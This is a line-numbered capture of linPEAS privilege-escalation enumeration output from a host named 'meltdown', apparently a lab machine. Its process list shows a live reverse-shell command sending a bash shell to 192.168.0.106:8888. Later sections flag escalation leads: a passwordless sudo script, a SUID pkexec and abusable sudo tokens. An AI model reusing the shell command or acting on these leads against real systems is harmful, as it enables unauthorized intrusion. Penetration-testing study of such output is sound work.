rin         4632  0.0  0.0   3420  1028 pts/1    S+   04:24   0:00                  _ /bin/sh ./linpeas.sh
196
rin         4636  0.0  0.1  11844  3396 pts/1    R+   04:24   0:00                  |   _ ps fauxwww
197
rin         4635  0.0  0.0   3420  1028 pts/1    S+   04:24   0:00                  _ /bin/sh ./linpeas.sh
198
root         419  0.0  1.5 253876 32580 ?        Ss   03:12   0:00 /usr/sbin/apache2 -k start
199
www-data     583  0.0  0.8 254308 16576 ?        S    03:14   0:04  _ /usr/sbin/apache2 -k start
200
www-data     592  0.0  0.9 254308 18768 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
201
www-data     597  0.0  0.8 254316 17636 ?        S    03:14   0:04  _ /usr/sbin/apache2 -k start
202
www-data     601  0.0  0.8 254308 17460 ?        S    03:14   0:04  _ /usr/sbin/apache2 -k start
203
www-data     607  0.0  0.8 254308 17756 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
204
www-data     608  0.0  0.8 254308 17860 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
205
www-data     616  0.0  0.8 254308 17860 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
206
www-data     619  0.0  0.8 254308 17756 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
207
www-data     630  0.0  0.8 254308 17580 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
208
www-data     632  0.0  0.9 254308 18688 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
209
www-data     702  0.0  0.0   2472   392 ?        S    03:39   0:00      _ sh -c /bin/bash -c 'bash -i >& /dev/tcp/192.168.0.106/8888 0>&1'
210
www-data     703  0.0  0.1   3820  2720 ?        S    03:39   0:00          _ /bin/bash -c bash -i >& /dev/tcp/192.168.0.106/8888 0>&1
211
www-data     704  0.0  0.1   4084  3216 ?        S    03:39   0:00              _ bash -i
212
www-data     725  0.0  0.0   2596   764 ?        S    03:39   0:00                  _ /usr/bin/script -qc /usr/bin/bash /dev/null
213
www-data     726  0.0  0.0   2472   400 pts/0    Ss   03:39   0:00                      _ sh -c /usr/bin/bash
214
www-data     727  0.0  0.1   4084  3228 pts/0    S+   03:39   0:00                          _ /usr/bin/bash
215
root         957  0.0  0.3 237332  7952 ?        Ssl  03:46   0:00 /usr/libexec/polkitd --no-debug
216
rin         1369  0.0  0.4  15924  9140 ?        Ss   04:03   0:00 /lib/systemd/systemd --user
217
rin         1370  0.0  0.1  99764  2416 ?        S    04:03   0:00  _ (sd-pam)
218

219
╔══════════╣ Processes with unusual configurations
220

221
╔══════════╣ Processes with credentials in memory (root req)
222
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory
223
gdm-password Not Found
224
gnome-keyring-daemon Not Found
225
lightdm Not Found
226
vsftpd Not Found
227
apache2 process found (dump creds from memory as root)
228
sshd: process found (dump creds from memory as root)
229
mysql process found (dump creds from memory as root)
230
postgres Not Found
231
redis-server Not Found
232
mongod Not Found
233
memcached Not Found
234
elasticsearch Not Found
235
jenkins Not Found
236
tomcat Not Found
237
nginx Not Found
238
php-fpm Not Found
239
supervisord Not Found
240
vncserver Not Found
241
xrdp Not Found
242
teamviewer Not Found
243

244
╔══════════╣ Opened Files by processes
245
Process 1369 (rin) - /lib/systemd/systemd --user
246
  └─ Has open files:
247
    └─ /proc/1369/mountinfo
248
    └─ /proc/swaps
249
    └─ /sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service
250
Process 1515 (rin) - -bash
251
  └─ Has open files:
252
    └─ /dev/pts/1
253

254
╔══════════╣ Processes with memory-mapped credential files
255

256
╔══════════╣ Processes whose PPID belongs to a different user (not root)
257
╚ You will know if a user can somehow spawn processes as a different user
258

259
╔══════════╣ Files opened by processes belonging to other users
260
╚ This is usually empty because of the lack of privileges to read other user processes information
261

262
╔══════════╣ Check for vulnerable cron jobs
263
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs
264
══╣ Cron jobs list
265
/usr/bin/crontab
266
incrontab Not Found
267
-rw-r--r-- 1 root root    1042 Oct 11  2019 /etc/crontab
268

269
/etc/cron.d:
270
total 16
271
drwxr-xr-x  2 root root 4096 Apr  1  2025 .
272
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
273
-rw-r--r--  1 root root  712 Mar  9  2025 php
274
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
275

276
/etc/cron.daily:
277
total 36
278
drwxr-xr-x  2 root root 4096 Apr  1  2025 .
279
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
280
-rwxr-xr-x  1 root root  539 Jul  1  2024 apache2
281
-rwxr-xr-x  1 root root 1478 Apr 19  2021 apt-compat
282
-rwxr-xr-x  1 root root  355 Dec 29  2017 bsdmainutils
283
-rwxr-xr-x  1 root root 1187 May 24  2022 dpkg
284
-rwxr-xr-x  1 root root  377 Aug 28  2018 logrotate
285
-rwxr-xr-x  1 root root  249 Sep 27  2017 passwd
286
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
287

288
/etc/cron.hourly:
289
total 12
290
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
291
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
292
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
293

294
/etc/cron.monthly:
295
total 12
296
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
297
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
298
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
299

300
/etc/cron.weekly:
301
total 12
302
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
303
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
304
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder
305

306
SHELL=/bin/sh
307
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
308

309
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
310
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
311
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
312
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
313

314
══╣ Checking for specific cron jobs vulnerabilities
315
Checking cron directories...
316

317
╔══════════╣ System timers
318
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers
319
══╣ Active timers:
320
NEXT                        LEFT          LAST                        PASSED               UNIT                         ACTIVATES
321
Tue 2026-01-13 04:39:00 EST 14min left    Tue 2026-01-13 04:09:38 EST 14min ago            phpsessionclean.timer        phpsessionclean.service
322
Tue 2026-01-13 06:26:51 EST 2h 2min left  Tue 2025-04-01 10:06:28 EDT 9 months 12 days ago apt-daily.timer              apt-daily.service
323
Tue 2026-01-13 06:57:44 EST 2h 33min left Tue 2026-01-13 03:23:49 EST 1h 0min ago          apt-daily-upgrade.timer      apt-daily-upgrade.service
324
Wed 2026-01-14 00:00:00 EST 19h left      Tue 2026-01-13 03:11:58 EST 1h 12min ago         logrotate.timer              logrotate.service
325
Wed 2026-01-14 03:27:47 EST 23h left      Tue 2026-01-13 03:27:47 EST 56min ago            systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
326
══╣ Disabled timers:
327
══╣ Additional timer files:
328

329
╔══════════╣ Services and Service Files
330
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services
331

332
══╣ Active services:
333
apache2.service                    loaded active running The Apache HTTP Server
334
./linpeas.sh: 3944: local: /usr/sbin/apachectl: bad variable name
335
 Not Found
336

337
══╣ Disabled services:
338
apache-htcacheclean.service            disabled enabled
339
apache-htcacheclean@.service           disabled enabled
340
apache2@.service                       disabled enabled
341
console-getty.service                  disabled disabled
342
debug-shell.service                    disabled disabled
343
ifupdown-wait-online.service           disabled enabled
344
irc_bot.service                        disabled enabled
345
serial-getty@.service                  disabled enabled
346
systemd-boot-check-no-failures.service disabled disabled
347
systemd-network-generator.service      disabled disabled
348
systemd-networkd-wait-online.service   disabled disabled
349
systemd-networkd.service               disabled enabled
350
systemd-resolved.service               disabled enabled
351
systemd-time-wait-sync.service         disabled disabled
352
14 unit files listed.
353

354
══╣ Additional service files:
355
./linpeas.sh: 3944: local: /usr/sbin/apachectl: bad variable name
356
You can't write on systemd PATH
357

358
╔══════════╣ Systemd Information
359
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths
360
═╣ Systemd version and vulnerabilities? .............. 247.3
361
═╣ Services running as root? .....
362
═╣ Running services with dangerous capabilities? ...
363
═╣ Services with writable paths? . apache2.service: Uses relative path 'start' (from ExecStart=/usr/sbin/apachectl start)
364
rsyslog.service: Uses relative path '-n' (from ExecStart=/usr/sbin/rsyslogd -n -iNONE)
365

366
╔══════════╣ Systemd PATH
367
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths
368
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
369

370
╔══════════╣ Analyzing .socket files
371
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets
372
./linpeas.sh: 4207: local: /run/systemd/journal/stdout: bad variable name
373

374
╔══════════╣ Unix Sockets Analysis
375
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets
376
/run/dbus/system_bus_socket
377
  └─(Read Write (Weak Permissions: 666) )
378
  └─(Owned by root)
379
/run/mysqld/mysqld.sock
380
  └─(Read Write Execute (Weak Permissions: 777) )
381
/run/systemd/fsck.progress
382
/run/systemd/inaccessible/sock
383
/run/systemd/io.system.ManagedOOM
384
  └─(Read Write (Weak Permissions: 666) )
385
  └─(Owned by root)
386
/run/systemd/journal/dev-log
387
  └─(Read Write (Weak Permissions: 666) )
388
  └─(Owned by root)
389
/run/systemd/journal/io.systemd.journal
390
/run/systemd/journal/socket
391
  └─(Read Write (Weak Permissions: 666) )
392
  └─(Owned by root)
393
/run/systemd/journal/stdout
394
  └─(Read Write (Weak Permissions: 666) )
395
  └─(Owned by root)
396
/run/systemd/journal/syslog
397
  └─(Read Write (Weak Permissions: 666) )
398
  └─(Owned by root)
399
/run/systemd/notify
400
  └─(Read Write Execute (Weak Permissions: 777) )
401
  └─(Owned by root)
402
/run/systemd/private
403
  └─(Read Write Execute (Weak Permissions: 777) )
404
  └─(Owned by root)
405
/run/systemd/userdb/io.systemd.DynamicUser
406
  └─(Read Write (Weak Permissions: 666) )
407
  └─(Owned by root)
408
/run/udev/control
409
/run/user/1000/bus
410
  └─(Read Write (Weak Permissions: 666) )
411
/run/user/1000/gnupg/S.dirmngr
412
  └─(Read Write )
413
/run/user/1000/gnupg/S.gpg-agent
414
  └─(Read Write )
415
/run/user/1000/gnupg/S.gpg-agent.browser
416
  └─(Read Write )
417
/run/user/1000/gnupg/S.gpg-agent.extra
418
  └─(Read Write )
419
/run/user/1000/gnupg/S.gpg-agent.ssh
420
  └─(Read Write )
421
/run/user/1000/pk-debconf-socket
422
  └─(Read Write (Weak Permissions: 666) )
423
/run/user/1000/systemd/inaccessible/sock
424
/run/user/1000/systemd/notify
425
  └─(Read Write Execute )
426
/run/user/1000/systemd/private
427
  └─(Read Write Execute )
428

429
╔══════════╣ D-Bus Analysis
430
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus
431
NAME                            PID PROCESS         USER             CONNECTION    UNIT                        SESSION DESCRIPTION
432
:1.0                            275 systemd-timesyn systemd-timesync :1.0          systemd-timesyncd.service   -       -
433
:1.1                              1 systemd         root             :1.1          init.scope                  -       -
434
:1.143                        13513 busctl          rin              :1.143        session-6.scope             6       -
435
:1.2                            324 systemd-logind  root             :1.2          systemd-logind.service      -       -
436
:1.3                            397 unattended-upgr root             :1.3          unattended-upgrades.service -       -
437
:1.5                            957 polkitd         root             :1.5          polkit.service              -       -
438
:1.9                           1369 systemd         rin              :1.9          user@1000.service           -       -
439
com.ubuntu.SoftwareProperties     - -               -                (activatable) -                           -       -
440
org.freedesktop.DBus              1 systemd         root             -             init.scope                  -       -
441
org.freedesktop.PackageKit        - -               -                (activatable) -                           -       -
442
org.freedesktop.PolicyKit1      957 polkitd         root             :1.5          polkit.service              -       -
443
org.freedesktop.hostname1         - -               -                (activatable) -                           -       -
444
org.freedesktop.locale1           - -               -                (activatable) -                           -       -
445
org.freedesktop.login1          324 systemd-logind  root             :1.2          systemd-logind.service      -       -
446
org.freedesktop.network1          - -               -                (activatable) -                           -       -
447
org.freedesktop.resolve1          - -               -                (activatable) -                           -       -
448
org.freedesktop.systemd1          1 systemd         root             :1.1          init.scope                  -       -
449
org.freedesktop.timedate1         - -               -                (activatable) -                           -       -
450
org.freedesktop.timesync1       275 systemd-timesyn systemd-timesync :1.0          systemd-timesyncd.service   -       -
451

452
╔══════════╣ D-Bus Configuration Files
453
Analyzing /etc/dbus-1/system.d/com.ubuntu.SoftwareProperties.conf:
454
  └─(Allow rules in default context)
455
             └─     <allow send_destination="com.ubuntu.SoftwareProperties"
456
            <allow send_destination="com.ubuntu.SoftwareProperties"
457
            <allow send_destination="com.ubuntu.DeviceDriver"
458
Analyzing /etc/dbus-1/system.d/org.freedesktop.PackageKit.conf:
459
  └─(Allow rules in default context)
460
             └─     <allow send_destination="org.freedesktop.PackageKit"
461
            <allow send_destination="org.freedesktop.PackageKit"
462
            <allow send_destination="org.freedesktop.PackageKit"
463

464
══╣ D-Bus Session Bus Analysis
465
(Access to session bus available)
466
           string "org.freedesktop.DBus"
467
           string "org.freedesktop.systemd1"
468
           string ":1.0"
469
           string ":1.2"
470
  └─(Known dangerous session service: org.freedesktop.systemd1)
471
     └─ Try: dbus-send --session --dest=org.freedesktop.systemd1 / [Interface] [Method] [Arguments]
472

473
╔══════════╣ Legacy r-commands (rsh/rlogin/rexec) and host-based trust
474

475
══╣ Listening r-services (TCP 512-514)
476

477
══╣ systemd units exposing r-services
478
rlogin|rsh|rexec units Not Found
479

480
══╣ inetd/xinetd configuration for r-services
481
/etc/inetd.conf Not Found
482
/etc/xinetd.d Not Found
483

484
══╣ Installed r-service server packages
485
  No related packages found via dpkg
486

487
══╣ /etc/hosts.equiv and /etc/shosts.equiv
488

489
══╣ Per-user .rhosts files
490
.rhosts Not Found
491

492
══╣ PAM rhosts authentication
493
/etc/pam.d/rlogin|rsh Not Found
494

495
══╣ SSH HostbasedAuthentication
496
  HostbasedAuthentication no or not set
497

498
══╣ Potential DNS control indicators (local)
499
  Not detected
500

501
╔══════════╣ Crontab UI (root) misconfiguration checks
502
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs
503
crontab-ui Not Found
504

505

506
                              ╔═════════════════════╗
507
══════════════════════════════╣ Network Information ╠══════════════════════════════
508
                              ╚═════════════════════╝
509
╔══════════╣ Interfaces
510
default         0.0.0.0
511
loopback        127.0.0.0
512
link-local      169.254.0.0
513

514
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
515
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
516
    inet 127.0.0.1/8 scope host lo
517
       valid_lft forever preferred_lft forever
518
    inet6 ::1/128 scope host
519
       valid_lft forever preferred_lft forever
520
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
521
    link/ether 08:00:27:99:3b:9e brd ff:ff:ff:ff:ff:ff
522
    inet 192.168.0.102/24 brd 192.168.0.255 scope global dynamic enp0s3
523
       valid_lft 5791sec preferred_lft 5791sec
524
    inet6 fe80::a00:27ff:fe99:3b9e/64 scope link
525
       valid_lft forever preferred_lft forever
526

527
╔══════════╣ Hostname, hosts and DNS
528
══╣ Hostname Information
529
System hostname: meltdown
530
FQDN: meltdown
531

532
══╣ Hosts File Information
533
Contents of /etc/hosts:
534
  127.0.0.1     localhost
535
  127.0.1.1     PyCrt.PyCrt     PyCrt
536
  ::1     localhost ip6-localhost ip6-loopback
537
  ff02::1 ip6-allnodes
538
  ff02::2 ip6-allrouters
539
  127.0.0.1 meltdown
540

541
══╣ DNS Configuration
542
DNS Servers (resolv.conf):
543
  192.168.1.1
544
  192.168.0.1
545
-e
546
Systemd-resolved configuration:
547
  [Resolve]
548
-e
549
DNS Domain Information:
550
(none)
551
-e
552
DNS Cache Status (systemd-resolve):
553

554
╔══════════╣ Active Ports
555
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
556
══╣ Active Ports (ss)
557
tcp     LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*
558
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*
559
tcp     LISTEN   0        128                    *:80                  *:*
560
tcp     LISTEN   0        128                 [::]:22               [::]:*
561

562
╔══════════╣ Network Traffic Analysis Capabilities
563

564
══╣ Available Sniffing Tools
565
No sniffing tools found
566

567
══╣ Network Interfaces Sniffing Capabilities
568
Interface enp0s3: Not sniffable
569
No sniffable interfaces found
570

571
╔══════════╣ Firewall Rules Analysis
572

573
══╣ Iptables Rules
574
No permission to list iptables rules
575

576
══╣ Nftables Rules
577
nftables Not Found
578

579
══╣ Firewalld Rules
580
firewalld Not Found
581

582
══╣ UFW Rules
583
ufw Not Found
584

585
╔══════════╣ Inetd/Xinetd Services Analysis
586

587
══╣ Inetd Services
588
inetd Not Found
589

590
══╣ Xinetd Services
591
xinetd Not Found
592

593
══╣ Running Inetd/Xinetd Services
594
-e
595
Active Services (from ss):
596
-e
597
Running Service Processes:
598

599
╔══════════╣ Internet Access?
600
Neither curl nor wget available
601
DNS accessible
602
ICMP is accessible
603
Port 443 is accessible
604
Port 80 is accessible
605

606

607

608
                               ╔═══════════════════╗
609
═══════════════════════════════╣ Users Information ╠═══════════════════════════════
610
                               ╚═══════════════════╝
611
╔══════════╣ My user
612
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users
613
uid=1000(rin) gid=1000(rin) groups=1000(rin)
614

615
╔══════════╣ PGP Keys and Related Files
616
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys
617
GPG:
618
GPG is installed, listing keys:
619
-e
620
NetPGP:
621
netpgpkeys Not Found
622
-e
623
PGP Related Files:
624
Found: /home/rin/.gnupg
625
total 16
626
drwx------ 2 rin rin 4096 Jan 13 04:24 .
627
drwx------ 3 rin rin 4096 Jan 13 04:24 ..
628
-rw------- 1 rin rin   32 Jan 13 04:24 pubring.kbx
629
-rw------- 1 rin rin 1200 Jan 13 04:24 trustdb.gpg
630

631
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
632
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
633
Matching Defaults entries for rin on meltdown:
634
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
635

636
User rin may run the following commands on meltdown:
637
    (root) NOPASSWD: /opt/repeater.sh
638

639

640
╔══════════╣ Checking sudo tokens
641
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens
642
ptrace protection is disabled (0), so sudo tokens could be abused
643

644
doas.conf Not Found
645

646
╔══════════╣ Checking Pkexec and Polkit
647
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2
648

649
══╣ Polkit Binary
650
Pkexec binary found at: /usr/bin/pkexec
651
Pkexec binary has SUID bit set!
652
-rwsr-xr-x 1 root root 23448 Jan 13  2022 /usr/bin/pkexec
653
pkexec version 0.105
654

655
══╣ Polkit Policies
656
Checking /etc/polkit-1/localauthority.conf.d/:
657

658
[Configuration]
659
AdminIdentities=unix-user:0
660
[Configuration]
661
AdminIdentities=unix-group:sudo
662
Checking /usr/share/polkit-1/rules.d/:
663
polkit.addRule(function(action, subject) {
664
    if ((action.id == "org.freedesktop.packagekit.upgrade-system" ||
665
         action.id == "org.freedesktop.packagekit.trigger-offline-update") &&
666
        subject.active == true && subject.local == true &&
667
        subject.isInGroup("sudo")) {
668
            return polkit.Result.YES;
669
    }
670
});
671
// Allow systemd-networkd to set timezone, get product UUID,
672
// and transient hostname
673
polkit.addRule(function(action, subject) {
674
    if ((action.id == "org.freedesktop.hostname1.set-hostname" ||
675
         action.id == "org.freedesktop.hostname1.get-product-uuid" ||
676
         action.id == "org.freedesktop.timedate1.set-timezone") &&
677
        subject.user == "systemd-network") {
678
        return polkit.Result.YES;
679
    }
680
});
681

682
══╣ Polkit Authentication Agent
683
root         957  0.0  0.3 237332  7952 ?        Ssl  03:46   0:00 /usr/libexec/polkitd --no-debug
684

685
╔══════════╣ Superusers and UID 0 Users
686
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html
687

688
══╣ Users with UID 0 in /etc/passwd
689
root:x:0:0:root:/root:/bin/bash
690

691
══╣ Users with sudo privileges in sudoers
692

693
╔══════════╣ Users with console
694
rin:x:1000:1000::/home/rin:/bin/bash
695
root:x:0:0:root:/root:/bin/bash
696

697
╔══════════╣ All users & groups
698
uid=0(root) gid=0(root) groups=0(root)
699
uid=1000(rin) gid=1000(rin) groups=1000(rin)
700
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
701
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
702
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
703
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
704
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
705
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
706
uid=10(uucp) gid=10(uucp) groups=10(uucp)
707
uid=13(proxy) gid=13(proxy) groups=13(proxy)
708
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
709
uid=2(bin) gid=2(bin) groups=2(bin)
710
uid=33(www-data) gid=33(www-data) groups=33(www-data)
711
uid=34(backup) gid=34(backup) groups=34(backup)
712
uid=38(list) gid=38(list) groups=38(list)
713
uid=39(irc) gid=39(irc) groups=39(irc)
714
uid=3(sys) gid=3(sys) groups=3(sys)
715
uid=41(gnats) gid=41(gnats) groups=41(gnats)
716
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
717
uid=5(games) gid=60(games) groups=60(games)
718
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
719
uid=6(man) gid=12(man) groups=12(man)
720
uid=7(lp) gid=7(lp) groups=7(lp)
721
uid=8(mail) gid=8(mail) groups=8(mail)
722
uid=998(mysql) gid=1001(mysql) groups=1001(mysql)
723
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
724
uid=9(news) gid=9(news) groups=9(news)
725

726
╔══════════╣ Currently Logged in Users
727

728
══╣ Basic user information
729
 04:24:39 up  1:12,  1 user,  load average: 0.28, 0.06, 0.22
730
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
731
rin      pts/1    192.168.0.106    04:16   23.00s  0.14s  0.00s /bin/sh ./linpeas.sh
732

733
══╣ Active sessions
734
 04:24:39 up  1:12,  1 user,  load average: 0.28, 0.06, 0.22
735
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
736
rin      pts/1    192.168.0.106    04:16   23.00s  0.14s  0.00s w
737

738
══╣ Logged in users (utmp)
739
           system boot  2026-01-13 03:11
740
           run-level 5  2026-01-13 03:11
741
LOGIN      tty1         2026-01-13 03:11               350 id=tty1
742
rin      + pts/1        2026-01-13 04:16   .          1507 (192.168.0.106)
743

744
══╣ SSH sessions
745
ESTAB      0      84               192.168.0.102:22               192.168.0.106:49106
746

747
══╣ Screen sessions
748

749
══╣ Tmux sessions
750

751
╔══════════╣ Last Logons and Login History
752

753
══╣ Last logins
754
rin      pts/1        192.168.0.106    Tue Jan 13 04:16   still logged in
755
rin      pts/1        192.168.0.106    Tue Jan 13 04:03 - 04:16  (00:13)
756
reboot   system boot  4.19.0-27-amd64  Tue Jan 13 03:11   still running
757
root     pts/0        192.168.2.118    Tue Dec 30 01:01 - crash (14+02:10)
758
reboot   system boot  4.19.0-27-amd64  Tue Dec 30 00:59   still running
759
root     pts/0        192.168.2.118    Mon Dec 29 23:05 - crash  (01:53)
760
reboot   system boot  4.19.0-27-amd64  Mon Dec 29 23:05   still running
761
welcome  pts/0        192.168.3.94     Fri Apr 11 22:27 - 22:28  (00:00)
762
root     pts/0        192.168.3.94     Fri Apr 11 22:27 - 22:27  (00:00)
763
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:26   still running
764
root     pts/0        192.168.3.94     Fri Apr 11 22:23 - 22:25  (00:01)
765
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:23 - 22:25  (00:02)
766
root     pts/0        192.168.3.94     Fri Apr 11 22:15 - 22:22  (00:07)
767
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:14 - 22:22  (00:08)
768
root     pts/0        192.168.3.94     Fri Apr 11 22:08 - 22:13  (00:04)
769
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:07 - 22:13  (00:06)
770
root     pts/0        192.168.3.94     Fri Apr 11 22:06 - 22:07  (00:00)
771
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:06 - 22:07  (00:01)
772
root     pts/0        192.168.3.94     Fri Apr 11 22:03 - 22:04  (00:01)
773
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:02 - 22:04  (00:01)
774

775
wtmp begins Tue Mar 18 20:40:32 2025
776

777
══╣ Failed login attempts
778

779
══╣ Recent logins from auth.log (limit 20)
780

781
══╣ Last time logon each user
782
Username         Port     From             Latest
783
root             pts/0    192.168.2.118    Tue Dec 30 01:01:26 -0500 2025
784
rin              pts/1    192.168.0.106    Tue Jan 13 04:16:22 -0500 2026
785

786
╔══════════╣ Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)
787

788
╔══════════╣ Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!
789

790

791

792
                             ╔══════════════════════╗
793
═════════════════════════════╣ Software Information ╠═════════════════════════════
794
                             ╚══════════════════════╝
795
╔══════════╣ Useful software
796
/usr/bin/base64
797
/usr/bin/g++
798
/usr/bin/gcc
799
/usr/bin/make
800
/usr/bin/perl
801
/usr/bin/php
802
/usr/bin/ping
803
/usr/bin/python3
804
/usr/bin/python3.7
805
/usr/bin/ruby
806
/usr/bin/sudo
807

808
╔══════════╣ Installed Compilers
809
ii  g++                           4:10.2.1-1                                  amd64        GNU C++ compiler
810
ii  g++-10                        10.2.1-6                                    amd64        GNU C++ compiler
811
ii  gcc                           4:10.2.1-1                                  amd64        GNU C compiler
812
ii  gcc-10                        10.2.1-6                                    amd64        GNU C compiler
813
/usr/bin/gcc
814

815
╔══════════╣ Analyzing Apache-Nginx Files (limit 70)
816
Apache version: Server version: Apache/2.4.62 (Debian)
817
Server built:   2024-08-15T01:18:37
818
httpd Not Found
819

820
Nginx version: nginx Not Found
821

822
/etc/apache2/mods-enabled/php8.3.conf-<FilesMatch ".+\.ph(?:ar|p|tml)$">
823
/etc/apache2/mods-enabled/php8.3.conf:    SetHandler application/x-httpd-php
824
--
825
/etc/apache2/mods-enabled/php8.3.conf-<FilesMatch ".+\.phps$">
826
/etc/apache2/mods-enabled/php8.3.conf:    SetHandler application/x-httpd-php-source
827
--
828
/etc/apache2/mods-available/php8.3.conf-<FilesMatch ".+\.ph(?:ar|p|tml)$">
829
/etc/apache2/mods-available/php8.3.conf:    SetHandler application/x-httpd-php
830
--
831
/etc/apache2/mods-available/php8.3.conf-<FilesMatch ".+\.phps$">
832
/etc/apache2/mods-available/php8.3.conf:    SetHandler application/x-httpd-php-source
833
══╣ PHP exec extensions
834
drwxr-xr-x 2 root root 4096 Apr  1  2025 /etc/apache2/sites-enabled
835
drwxr-xr-x 2 root root 4096 Apr  1  2025 /etc/apache2/sites-enabled
836
lrwxrwxrwx 1 root root 35 Apr  1  2025 /etc/apache2/sites-enabled/000-default.conf -> ../sites-available/000-default.conf
837
<VirtualHost *:80>
838
        ServerAdmin webmaster@localhost
839
        DocumentRoot /var/www/html
840
        ErrorLog ${APACHE_LOG_DIR}/error.log
841
        CustomLog ${APACHE_LOG_DIR}/access.log combined
842
</VirtualHost>
843

844

845
-rw-r--r-- 1 root root 1332 Aug 14  2024 /etc/apache2/sites-available/000-default.conf
846
<VirtualHost *:80>
847
        ServerAdmin webmaster@localhost
848
        DocumentRoot /var/www/html
849
        ErrorLog ${APACHE_LOG_DIR}/error.log
850
        CustomLog ${APACHE_LOG_DIR}/access.log combined
851
</VirtualHost>
852
lrwxrwxrwx 1 root root 35 Apr  1  2025 /etc/apache2/sites-enabled/000-default.conf -> ../sites-available/000-default.conf
853
<VirtualHost *:80>
854
        ServerAdmin webmaster@localhost
855
        DocumentRoot /var/www/html
856
        ErrorLog ${APACHE_LOG_DIR}/error.log
857
        CustomLog ${APACHE_LOG_DIR}/access.log combined
858
</VirtualHost>
859

860
-rw-r--r-- 1 root root 73718 Dec 29 23:08 /etc/php/8.3/apache2/php.ini
861
allow_url_fopen = On
862
allow_url_include = Off
863
odbc.allow_persistent = On
864
mysqli.allow_persistent = On
865
pgsql.allow_persistent = On
866
-rw-r--r-- 1 root root 73714 Mar 13  2025 /etc/php/8.3/cli/php.ini
867
allow_url_fopen = On
868
allow_url_include = Off
869
odbc.allow_persistent = On
870
mysqli.allow_persistent = On
871
pgsql.allow_persistent = On
872

873

